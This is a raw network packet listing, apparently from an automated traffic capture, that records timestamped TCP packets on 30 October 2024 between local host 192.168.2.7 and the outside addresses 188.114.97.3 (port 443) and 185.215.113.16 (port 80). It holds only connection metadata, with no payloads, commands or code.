Oct 30, 2024 04:35:41.809046984 CET	443	49995	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:41.809068918 CET	49995	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:41.809099913 CET	49995	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:41.809607029 CET	443	49995	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:41.896364927 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.896401882 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.896418095 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.896435022 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.896485090 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.896500111 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.896500111 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.896516085 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.896533012 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.896611929 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.896656990 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.896672010 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.896686077 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.896699905 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.896716118 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.896732092 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.896733046 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.896789074 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.896807909 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.896835089 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.896857023 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.896871090 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.896872044 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.896887064 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.896903038 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.896918058 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.896933079 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.896959066 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.896997929 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.897156000 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897171021 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897186041 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897203922 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.897222996 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897238016 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897238970 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.897253036 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897269011 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897278070 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.897293091 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897310972 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.897346973 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.897365093 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897380114 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897394896 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897409916 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.897411108 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897428036 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897442102 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.897468090 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897479057 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.897511005 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.897526026 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897542000 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897567034 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.897588968 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.897629023 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897644043 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897659063 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897671938 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.897676945 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897695065 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.897720098 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.897824049 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897840023 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897855043 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897869110 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897872925 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.897886992 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897902966 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897903919 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.897918940 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897934914 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.897941113 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.897965908 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.897998095 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.898121119 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.898137093 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.898159027 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.898169041 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.898184061 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.898211956 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.898221970 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.898236990 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.898252010 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.898263931 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.898268938 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.898286104 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.898310900 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.898345947 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.898375034 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.898391008 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.898391008 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.898406029 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.898422956 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.898453951 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.902005911 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.902020931 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.902035952 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.902055979 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.902089119 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.902146101 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.902169943 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.902184963 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.902194023 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.902229071 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.902240038 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.902259111 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.902281046 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.902282000 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.902316093 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.902373075 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.902389050 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.902404070 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.902420044 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.902426004 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.902452946 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.902453899 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.902471066 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.902486086 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.902487040 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.902518034 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.902551889 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.902602911 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.902641058 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.902651072 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.902657032 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.902679920 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.902700901 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.902708054 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.902729988 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.902748108 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.902777910 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.902826071 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.902841091 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.902856112 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.902873039 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.902894974 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.902983904 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.903002977 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.903023005 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.903034925 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.903038025 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.903068066 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.903072119 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.903088093 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.903100014 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.903103113 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.903119087 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.903136969 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.903146029 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.903168917 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.903202057 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.903381109 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.903397083 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.903422117 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.903434992 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.903456926 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.903471947 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.903475046 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.903496981 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.903503895 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.903512955 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.903525114 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.903541088 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.903559923 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.903565884 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.903579950 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.903603077 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.903623104 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.903626919 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.903637886 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.903666019 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.903682947 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.013247013 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.013273954 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.013289928 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.013339996 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.013345957 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.013362885 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.013370037 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.013380051 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.013396025 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.013411999 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.013416052 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.013427973 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.013441086 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.013459921 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.013495922 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.013495922 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.013511896 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.013526917 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.013541937 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.013546944 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.013567924 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.013590097 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.013612986 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.013627052 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.013641119 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.013654947 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.013664007 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.013669968 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.013699055 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.013737917 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.013740063 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.013752937 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.013768911 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.013788939 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.013819933 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.013838053 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.013854027 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.013861895 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.013921976 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.013983011 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.013998032 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014012098 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014027119 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014043093 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014046907 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.014056921 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014072895 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014106989 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.014174938 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014177084 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.014190912 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014206886 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014221907 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014230013 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.014239073 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014264107 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014303923 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014322042 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.014386892 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014403105 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014409065 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.014420033 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014437914 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014452934 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014497995 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.014539957 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014554977 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014569998 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014579058 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.014585972 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014658928 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.014739990 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014755011 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014770985 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014786959 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014791012 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.014813900 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014831066 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014837980 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.014878988 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.014879942 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014897108 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014910936 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.014933109 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.014955044 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.014990091 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015007019 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015021086 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015037060 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015045881 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.015054941 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015069008 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015073061 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.015086889 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015103102 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015108109 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.015115976 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015126944 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.015166998 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.015253067 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015269041 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015285015 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015302896 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.015327930 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.015402079 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015419006 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015434027 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015450001 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015454054 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.015469074 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015484095 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015486956 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.015502930 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015518904 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015520096 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.015536070 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015543938 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.015564919 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.015598059 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.015902042 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015918016 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015933037 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015948057 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015957117 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.015964031 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015979052 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.015984058 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.015995026 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.016028881 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.016046047 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.052102089 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052117109 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052140951 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052155972 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052171946 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052237034 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052253008 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052269936 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052283049 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052297115 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.052318096 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052334070 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052347898 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052364111 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052371979 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.052381992 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052397013 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052438974 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.052479982 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052484035 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.052495003 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052510023 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052525043 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052540064 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052546024 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.052587032 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.052618027 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052632093 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052645922 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052661896 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052671909 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.052678108 CET	80	49994	185.215.113.16	192.168.2.7
